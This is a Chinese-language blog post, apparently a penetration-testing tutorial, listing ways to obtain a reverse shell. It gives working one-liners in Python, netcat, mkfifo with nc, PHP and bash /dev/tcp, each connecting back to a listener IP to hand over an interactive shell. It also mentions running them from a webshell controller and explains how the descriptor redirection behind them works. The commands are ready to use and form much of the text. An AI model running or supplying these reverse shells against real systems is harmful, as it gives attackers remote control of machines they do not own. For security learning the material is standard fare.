几种反弹shell的方法

为什么要反弹shell?

python反弹(需要对方服务器上有python3)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.15.137",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc反弹(需要目标机上有nc)
nc -e /bin/bash+ip+端口号

在蚁剑或者其他webshell控制器上反弹
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.58.130 3333 >/tmp/f
php反弹
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.137/7777");'
php -r '$sock=fsockopen("192.168.1.137",7777);exec("/bin/bash -i <&3 >&3 2>&3");'

linux命令反弹
echo "bash -i >& /dev/tcp/192.168.15.137/4444 0>&1" | bash
bash -i >& /dev/tcp/192.168.1.137/7777 0>&1

首先解释下linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

1.下面来解释一下 bash -i >& /dev/tcp/192.168.1.137/7777 0>&1 这条命令

bash -i代表在本地打开一个bash,然后就是 /dev/tcp/192.168.1.137/7777 , /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上 /dev/tcp/192.168.1.137/7777 这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,下面在该命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入命令了,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程。

2. python反弹:python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.15.137",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符。于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

3. nc反弹(需要目标机上有nc):nc -e /bin/bash+ip+端口号

需要目标机上装上了nc否则就无法用nc反弹

这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,并且可以执行命令。

4.php反弹: php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.137/7777");'

php反弹原理与 bash -i >& /dev/tcp/192.168.1.137/7777 0>&1 类似

-r的意思是运行php代码

注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数去进行反弹shell。 

python正则表达式

上一篇

MSF的基本使用二(永恒之蓝)

下一篇
评论
发表评论 说点什么
还没有评论
168